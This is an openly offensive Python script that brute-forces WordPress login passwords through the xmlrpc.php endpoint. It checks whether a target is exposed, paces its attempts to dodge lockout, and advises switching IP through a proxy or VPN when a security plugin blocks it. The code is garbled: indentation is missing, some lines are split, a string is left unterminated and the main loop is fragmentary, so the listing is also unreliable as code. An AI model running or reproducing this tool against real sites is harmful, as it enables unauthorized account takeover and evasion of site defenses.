Main
Main
Main
/usr/bin/python3
import time
import os
import requests
import sys
ascii_art = '''
██████╗ ██████╗ ██╗ ██╗████████╗███████╗███████╗ ██████╗ ██████╗ ██████╗███████╗
██╔══██╗██╔══██╗██║ ██║╚══██╔══╝██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔════╝
██████╔╝██████╔╝██║ ██║ ██║ █████╗ █████╗ ██║ ██║██████╔╝██║ █████╗
██╔══██╗██╔══██╗██║ ██║ ██║ ██╔══╝ ██╔══╝ ██║ ██║██╔══██╗██║ ██╔══╝
██████╔╝██║ ██║╚██████╔╝ ██║ ███████╗██║ ╚██████╔╝██║ ██║╚██████╗███████╗
╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝╚══════╝
print(ascii_art + '\n')
def check_site_vulnerability(url):
print("[*] Checking if the site is vulnerable...")
req = requests.get(url + '/xmlrpc.php')
if req.text.strip() == "XML-RPC server accepts POST requests only.":
print("[*] The site is vulnerable!")
elif req.status_code == 403:
print("[*] 403 Status code, possibly blocked by iThemes Security Plugin -
Change IP Using Proxy or VPN")
exit()
else:
print("[*] The site is not vulnerable.\n")
exit()
def countdown(timer):
while timer:
mins, secs = divmod(timer, 60)
timer_str = "[*] Till next requests: " + '{:02d}:{:02d}'.format(mins, secs)
print(timer_str, end="\r")
time.sleep(1)
timer -= 1
global attempt
attempt = 0
attempt_tracker = 0
if attempt_tracker == 5:
print("\n[*] Waiting 5 mins to prevent lockout...")
countdown(300)
attempt_tracker = 1
print("[*] Continuing..")
lines_in_file = pass_list[start:end]
os.system('del payload_file')
start = end + 1
end = end + 1664
time.sleep(5)
print("[*] Done")
def send_data(x):
data = x
final_url = target_url + "/xmlrpc.php"
header = {"Content-Type": "application/xml"}
req = requests.post(final_url, data.encode('utf-8'), headers=header)
content_length = len(req.text)
if req.status_code == 200:
pass
elif req.status_code == 403:
print("[*] 403 Status code, possibly blocked by iThemes Security Plugin -
Change IP Using Proxy or VPN")
exit()
else:
print("[*] Quitting")
exit()
if "wp.service.controller" in req.text:
print("\n[*] Password Cracked!")
print("[*] Saving response as 'xml_rpc_CRACKED'")
print("[*] Content Length: %s" % (content_length))
with open('xml_rpc_CRACKED', 'w') as w:
w.write(req.text)
exit()
else:
print("[*] Content Length: %s" % (content_length))
if content_length != 356069:
print("[*] Interesting.. Saving response..")
file_name = "xml_rpc_response_interesting_" + str(content_length) +
"_attempt_" + str(attempt)
with open(file_name, 'w') as t:
t.write(req.text)
print("[*] Password Not Cracked.")
print("[*] Saving response as 'xml_rpc_response'")
with open('xml_rpc_response', 'a') as t:
t.write(req.text)
try:
password_list = sys.argv[1]
target_user = sys.argv[2]
target_url = sys.argv[3]
except IndexError:
print("[*] Something is missing...")
print("[*] Ex. python3 evil-xmlrpc.py <passlist> <user>
<https://examplesite.com>")